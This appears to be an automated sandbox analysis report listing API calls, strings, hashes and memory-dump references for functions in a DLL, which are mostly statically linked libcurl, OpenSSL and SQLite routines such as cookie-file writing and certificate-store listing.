API String ID: 3906573944-2863847710
Opcode ID: 0c00d7ea898cfd74902f570f931b4ccd325a7d23ed784f2ab5c3e70a56d9c342
Instruction ID: 5afeb2c3c84507bdb0f8738d2e6599bc54bff9579034e43d79fed32ce349bbe2
Opcode Fuzzy Hash: 0c00d7ea898cfd74902f570f931b4ccd325a7d23ed784f2ab5c3e70a56d9c342
Instruction Fuzzy Hash: 259131727002069BD704CE68DC81B6AB3D4FF86364F158A3DF949DB681EB31FC1986A1

Function 10263500 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 187COMMON

Download Yara Rule

APIs

fputs.API-MS-WIN-CRT-STDIO-L1-1-0(# Your alt-svc cache. https://curl.se/docs/alt-svc.html# This file was generated by libcurl! Edit at your own risk.,?,00000088,00000738), ref: 1026357C
inet_pton.WS2_32(00000017,?,?), ref: 102635C4
inet_pton.WS2_32(00000017,00000738,?), ref: 102635F4
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,00000088,00000738), ref: 102636DA
_unlink.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(?,?,?,?,?,?,00000088,00000738), ref: 10263706
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,00000088,00000738), ref: 10263735

Strings

# Your alt-svc cache. https://curl.se/docs/alt-svc.html# This file was generated by libcurl! Edit at your own risk., xrefs: 10263577
%s %s%s%s %u %s %s%s%s %u "%d%02d%02d %02d:%02d:%02d" %u %d, xrefs: 102636BB

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: fcloseinet_pton$_unlinkfputs
String ID: # Your alt-svc cache. https://curl.se/docs/alt-svc.html# This file was generated by libcurl! Edit at your own risk.$%s %s%s%s %u %s %s%s%s %u "%d%02d%02d %02d:%02d:%02d" %u %d
API String ID: 1147392694-1497203839
Opcode ID: 0cfdb161a18a07b9f41cf977bbdb26e72b6bb0ca466241ee7fb7a1d405057e93
Instruction ID: aa297f3a348b8ff7fef8f40cb07a5114b7a541f709cff7143a75a8ac0bb0d733
Opcode Fuzzy Hash: 0cfdb161a18a07b9f41cf977bbdb26e72b6bb0ca466241ee7fb7a1d405057e93
Instruction Fuzzy Hash: AF51AFB5604341AFDB11CF54C88192BB7EAEB89340F50882CFD8686651DB36EC64DB52

Function 10252960 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 173COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,?,?), ref: 102529CD
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(# Netscape HTTP Cookie File# https://curl.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk.,?,?,?,?,?), ref: 10252A0B
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,00000004,10252C40,?,?,?,?,?,?,?,?), ref: 10252A66
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?), ref: 10252AC1

Strings

%s, xrefs: 10252A86
# Netscape HTTP Cookie File# https://curl.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk., xrefs: 10252A06

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __acrt_iob_funcfclosefputsqsort
String ID: # Netscape HTTP Cookie File# https://curl.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk.$%s
API String ID: 2230866234-959389649
Opcode ID: 2d9ae0d2baba678ea9fc301ec8c65801244584646dbbffe7ccbe3c5a1030e26e
Instruction ID: 3364dd4db996b0a0750216a456f44d54e65a3fa44271a52d1c3e548a80e43040
Opcode Fuzzy Hash: 2d9ae0d2baba678ea9fc301ec8c65801244584646dbbffe7ccbe3c5a1030e26e
Instruction Fuzzy Hash: 495116756043429BDB00DF249D82B9B7B98EF53684F140438FC8596292EB26ED3CC6A7

Function 1008B2E0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 99encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 1008BC30: CertOpenStore.CRYPT32(00000009,00000000,00000000,?,00000000), ref: 1008BC79
Part of subcall function 1008BC30: __fprintf_l.LIBCMT ref: 1008BCB7
Part of subcall function 1008BC30: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 1008BCD0

CertCloseStore.CRYPT32(00000000,00000000), ref: 1008B346

Strings

Listing certs for store %s, xrefs: 1008B307
Certificate %d, xrefs: 1008B391

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CertStore$CloseErrorLastOpen__fprintf_l
String ID: Certificate %d$Listing certs for store %s
API String ID: 2035104143-3674431298
Opcode ID: 41093402addc6b4299b1a71c13fe365086773db8d96aff8ef45f8f28b7358219
Instruction ID: 697b0a71da40a51649e2f9f2e0497501c062ed8b13c013c1736aa732cd872fb6
Opcode Fuzzy Hash: 41093402addc6b4299b1a71c13fe365086773db8d96aff8ef45f8f28b7358219
Instruction Fuzzy Hash: 64210B76901624EFC2209B35AC4CF5BBBDCFF89375F004156F90A92602CF35E84086E1

Function 10236340 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 443COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000030,00000000,?,?,00000000), ref: 102363B9
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1023652C

Strings

, xrefs: 102363E7
recovered %d frames from WAL file %s, xrefs: 10236845

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@memset
String ID: $recovered %d frames from WAL file %s
API String ID: 4293446785-3175670447
Opcode ID: 4015a43b2782780c279ed498f8913f63b2c5aa5b52ea2c467cd478ea96bd2296
Instruction ID: 124d583e96c2476166374701e81801c4583a3b272a88a84c67018a3723bbfd0d
Opcode Fuzzy Hash: 4015a43b2782780c279ed498f8913f63b2c5aa5b52ea2c467cd478ea96bd2296
Instruction Fuzzy Hash: 87F19BB46047029FD320CF68C885B1AB7E9EF8C384F50892DF599CB251EB75E954CB51

Function 100878F0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 269COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100879EA

Part of subcall function 1007F980: __fprintf_l.LIBCMT ref: 1007F9B8

__fprintf_l.LIBCMT ref: 10087B85

Part of subcall function 1007FB90: __fprintf_l.LIBCMT ref: 1007FBE5

__fprintf_l.LIBCMT ref: 10087A65

Strings

crypto\engine\eng_dyn.c, xrefs: 100879B5, 100879D7, 10087A11, 10087A55, 10087B75, 10087BC4, 10087C20
dynamic_load, xrefs: 100879CD, 10087A4B, 10087B6B, 10087BBA, 10087C16
EVP_PKEY_base_id, xrefs: 10087AB6

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: EVP_PKEY_base_id$crypto\engine\eng_dyn.c$dynamic_load
API String ID: 3906573944-2741612536
Opcode ID: 42257d4e93c89f3c53be72a446ae6294c7225c8682cd05a1355c04ecb12f1d06
Instruction ID: 85ee21294e17205e381eb05f09d428992e2bd0352603f6c4c7594c110c553445
Opcode Fuzzy Hash: 42257d4e93c89f3c53be72a446ae6294c7225c8682cd05a1355c04ecb12f1d06
Instruction Fuzzy Hash: 9081F779A40201ABEB10DF64DC82FAB36D1FF41344F004165FE48AE186EB79E528D7A7

Function 100873E0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 257COMMON

Download Yara Rule

APIs

Part of subcall function 10087740: __fprintf_l.LIBCMT ref: 1008779B

__fprintf_l.LIBCMT ref: 1008741B
__fprintf_l.LIBCMT ref: 1008744D

Strings

crypto\engine\eng_dyn.c, xrefs: 1008740C, 1008743D, 10087493, 100874B8, 100874D1, 10087523, 10087548, 10087561, 1008759F, 10087613, 10087644, 1008765E, 100876A2
dynamic_ctrl, xrefs: 10087402, 10087433, 10087595, 100875E7, 10087654, 10087684, 10087698

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\engine\eng_dyn.c$dynamic_ctrl
API String ID: 3906573944-1551668084
Opcode ID: b1441d7e1a328b81e6d87ba27267abf021994a05a9f91ff2db115ffa3cef0ae8
Instruction ID: 18d28f59baf009ab4092014b22c70615c2dbc013075507cd7a20d16e716c6e2c
Opcode Fuzzy Hash: b1441d7e1a328b81e6d87ba27267abf021994a05a9f91ff2db115ffa3cef0ae8
Instruction Fuzzy Hash: F0617E3AB0070166D710D978BD43FEB77A1FFC1721F10067AF54EAA182EB52B5349166

Function 10272BF0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 10271F60: MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,000000FF,00000000,00000000,?,00000017,?,00000000,10272C3D,?,103322AC,?,?,?), ref: 10271F80
Part of subcall function 10271F60: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 10271F90
Part of subcall function 10271F60: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 10271FAA
Part of subcall function 10271F60: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10271FB1
Part of subcall function 10271F60: MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,000000FF,00000000,00000000,?,00000017,?,00000000,10272C3D,?,103322AC,?,?,?), ref: 10271FD1
Part of subcall function 10271F60: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 10271FDF
Part of subcall function 10271F60: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?), ref: 10271FFC
Part of subcall function 10271F60: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10272003
Part of subcall function 10271F60: _wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000000,?,00000017,?,00000000,10272C3D,?,103322AC,?,?,?,?), ref: 10272017
Part of subcall function 10271F60: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,00000017,?,00000000,10272C3D,?,103322AC,?,?,?,?), ref: 10272035
Part of subcall function 10271F60: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,00000017,?,00000000,10272C3D,?,103322AC,?,?,?,?), ref: 10272042

_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?), ref: 10272C54
_fstat64.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,?,?,?), ref: 10272C5D
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?), ref: 10272C88

Part of subcall function 10273E80: BCryptGenRandom.BCRYPT(00000000,?), ref: 10273ED0

_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,103322AC), ref: 10272D98
_close.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 10272DB5
_unlink.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,00000000), ref: 10272DBB

Strings

%s%s.tmp, xrefs: 10272D52

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ByteCharMultiWidefree$malloc$CryptRandom_close_fdopen_fileno_fstat64_unlink_wfopenfclose
String ID: %s%s.tmp
API String ID: 4036065687-1935936288
Opcode ID: d51c79a5156dd594168ee749bdb4e50238026fb89bab3fa9adc65ba3995f73ab
Instruction ID: 913830badee9e55adfe592a38aea921138d8dbeb7616e899875ae4a72973b46a
Opcode Fuzzy Hash: d51c79a5156dd594168ee749bdb4e50238026fb89bab3fa9adc65ba3995f73ab
Instruction Fuzzy Hash: 5D51E5759043169FD720CF248C42BAB77D8EF66390F118929FC85D7241EA35ED2D8BA2

Function 1008A1B0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 130encryptionCOMMON

Download Yara Rule

APIs

CertEnumCertificatesInStore.CRYPT32(00000000,00000000), ref: 1008A1DE
CertGetCertificateContextProperty.CRYPT32(00000000,0000000B,00000000,?), ref: 1008A20C
CertGetCertificateContextProperty.CRYPT32(00000000,0000000B,00000000,?), ref: 1008A23B
CertEnumCertificatesInStore.CRYPT32(?,00000000), ref: 1008A2B5
CertFindCertificateInStore.CRYPT32(00000001,00000001,00000000,00070007,00000000,00000000), ref: 1008A315

Strings

capi_cert_get_fname, xrefs: 1008A1F4
engines\e_capi.c, xrefs: 1008A21B, 1008A250, 1008A29A, 1008A2D2, 1008A2EA

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Cert$CertificateStore$CertificatesContextEnumProperty$Find
String ID: capi_cert_get_fname$engines\e_capi.c
API String ID: 3601032570-4048789269
Opcode ID: 4bc5174eb1a1da0c198cbb484a679014d2009f17e71df89a4c34fa5eda49d2cc
Instruction ID: 6dd72ad07d2f36140316358fc3bfee88d98d20aec43512de58cec7917ffda4de
Opcode Fuzzy Hash: 4bc5174eb1a1da0c198cbb484a679014d2009f17e71df89a4c34fa5eda49d2cc
Instruction Fuzzy Hash: FB31AE36E45301ABE331CB686D86F6B7BA5FB87761F050127FB0466592DF13E9448360

Function 1004B3BA Relevance: 12.1, APIs: 8, Instructions: 130COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?), ref: 1004B3D4
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?), ref: 1004B406

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __acrt_iob_func
String ID:
API String ID: 711238415-0
Opcode ID: fd9aaac28ce518ead6549a1a95cb99167883289357652de4c67dcff9692b87a5
Instruction ID: c820cc00232c978e98983703baf54e6c50e7f61bfad6c290a0953c799b043644
Opcode Fuzzy Hash: fd9aaac28ce518ead6549a1a95cb99167883289357652de4c67dcff9692b87a5
Instruction Fuzzy Hash: 37415975900609EFDF04DFA4EC4AB9D77B5EF08315F2040A4F905E61E2DB71AA54AB18

Function 10206FE0 Relevance: 10.8, APIs: 4, Strings: 3, Instructions: 316COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,000000A0,102A6A0F,102A69B8,?,00000000), ref: 1020703E
memset.VCRUNTIME140(?,00000000,0000004C,?,00000000,000000A0,102A6A0F,102A69B8,?,00000000), ref: 1020704F

Strings

out of memory, xrefs: 1020709A
database schema is locked: %s, xrefs: 102071A7
statement too long, xrefs: 10207180

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memset
String ID: database schema is locked: %s$out of memory$statement too long
API String ID: 2221118986-1046679716
Opcode ID: 6ad2646991bc94d948f1028e02c6c130789a83f25836f13fa7ec181b2daf33bc
Instruction ID: 40a8308654dc5ea5c569ec0ff33a2d61e660b161389bfeec79e7eefee0751976
Opcode Fuzzy Hash: 6ad2646991bc94d948f1028e02c6c130789a83f25836f13fa7ec181b2daf33bc
Instruction Fuzzy Hash: 59B1D075D083819BE361CF24C881B9BB7E5FF85344F15096CF8894B286E774E925CBA2

Function 10052E60 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 264COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1005310F
__fprintf_l.LIBCMT ref: 10053185

Strings

crypto\evp\evp_enc.c, xrefs: 10052E72, 1005302D, 10053047, 10053064, 100530C9, 100530FC, 10053134, 1005314E, 10053172
evp_cipher_from_algorithm, xrefs: 1005305A, 100530BF, 100530F2, 10053168

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\evp\evp_enc.c$evp_cipher_from_algorithm
API String ID: 3906573944-4262838856
Opcode ID: aa6d29d87e4256ea993c970c405f00499c9d3290e33b3a36bcd285f2bfe44fda
Instruction ID: fbe262aea112e77360b1abf50af3d9c08eb6a5bb20ecb6dde34c0e40f76c501e
Opcode Fuzzy Hash: aa6d29d87e4256ea993c970c405f00499c9d3290e33b3a36bcd285f2bfe44fda
Instruction Fuzzy Hash: 74919D75A00B41EFD320CB28ED41B1AB7F0EF06759F10483DF686D6AA1E772A458DB15

Function 10149510 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10149613

Strings

-----END , xrefs: 10149720
PEM_write_bio, xrefs: 101495FA
-----, xrefs: 10149593, 1014974F
crypto\pem\pem_lib.c, xrefs: 10149604, 10149626, 10149651
-----BEGIN , xrefs: 1014956F

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: -----$-----BEGIN $-----END $PEM_write_bio$crypto\pem\pem_lib.c
API String ID: 3906573944-4233432479
Opcode ID: 95700a9b4415bab4e581371f0591005b8c2b715b479342eb27ecc9cc04e59308
Instruction ID: 91ae827d826b927c7a71474ecce8268a3c89d04307dd49de1cf48c05220603b2
Opcode Fuzzy Hash: 95700a9b4415bab4e581371f0591005b8c2b715b479342eb27ecc9cc04e59308
Instruction Fuzzy Hash: E6511A759043026FC701CE14DD82B5F779EEFC4254F26092DF989DB212EB29F90987A6

Function 10068520 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 178COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10068552
__fprintf_l.LIBCMT ref: 1006859C

Strings

BIO_gets, xrefs: 10068536, 10068582, 10068601, 100686D6
crypto\bio\bio_lib.c, xrefs: 10068540, 1006858C, 1006860B, 100686E0

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: BIO_gets$crypto\bio\bio_lib.c
API String ID: 3906573944-3999141636
Opcode ID: 20f320d969485bd953ab29a4f746496c45da8e9c6cd14d1994ff6a588ce6b752
Instruction ID: 87b7eeaaf9d3b9ac8a7047214a280a44e6b684908de6c32143ad667dc6ebfdfe
Opcode Fuzzy Hash: 20f320d969485bd953ab29a4f746496c45da8e9c6cd14d1994ff6a588ce6b752
Instruction Fuzzy Hash: F05116B07447017AE220D529EC47F5B32D9DF81B60F254708F679AA2C1EBA4FE448766

Function 1007D190 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 164COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007D358
__fprintf_l.LIBCMT ref: 1007D395

Strings

crypto\encode_decode\decoder_meth.c, xrefs: 1007D31F, 1007D382
%s, Name (%s : %d), Properties (%s), xrefs: 1007D350
inner_ossl_decoder_fetch, xrefs: 1007D315, 1007D378
<null>, xrefs: 1007D330, 1007D33E, 1007D343

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: %s, Name (%s : %d), Properties (%s)$<null>$crypto\encode_decode\decoder_meth.c$inner_ossl_decoder_fetch
API String ID: 3906573944-2948752331
Opcode ID: 520999b6ad082cd74ecfdd921fb3dbeb654f4126c83b730204e1a5c76d51889c
Instruction ID: 08aa552143023f5e3544e3f0c6cbdc3717d4bde0e42f434c0c4e5266469d45c5
Opcode Fuzzy Hash: 520999b6ad082cd74ecfdd921fb3dbeb654f4126c83b730204e1a5c76d51889c
Instruction Fuzzy Hash: 4951E276904340AFC700EF109C01B5B7BF8FF84780F44852DFD8866212E77AEA118B9A

Function 1014A8A0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 142COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1014A918

Strings

TYPE=%s, xrefs: 1014A977
crypto\evp\evp_pkey.c, xrefs: 1014A906, 1014A968, 1014A9DA, 1014A9F9
evp_pkcs82pkey_legacy, xrefs: 1014A8FF, 1014A961, 1014A9D3, 1014A9F2

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: TYPE=%s$crypto\evp\evp_pkey.c$evp_pkcs82pkey_legacy
API String ID: 3906573944-4053707743
Opcode ID: 2f4250238ceaee4aac06f7745d9c96f15559fee5df7d99c1a87b6a22f8e3b232
Instruction ID: a64e69e39290f022b87c756eaf0d9c537947f7113707f09a81475fd9dcf23e74
Opcode Fuzzy Hash: 2f4250238ceaee4aac06f7745d9c96f15559fee5df7d99c1a87b6a22f8e3b232
Instruction Fuzzy Hash: 65414A3A7417046BD100E764AC43F9F7388EF89B54F820925F64CDA182EF1EB418C6A7

Function 100832D0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 140COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1008346F

Part of subcall function 10067370: AcquireSRWLockExclusive.KERNEL32(?,?,1007ABE6,?,1006F40D,?,?,?,?,?,?,1006B9F8,00040000,00000000,00000000), ref: 10067376

__fprintf_l.LIBCMT ref: 1008336E
__fprintf_l.LIBCMT ref: 10083400

Strings

get_and_lock, xrefs: 10083455
ossl_crypto_get_ex_new_index_ex, xrefs: 10083351, 100833E3
crypto\ex_data.c, xrefs: 1008335B, 1008338C, 100833ED, 1008340A, 1008345C

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

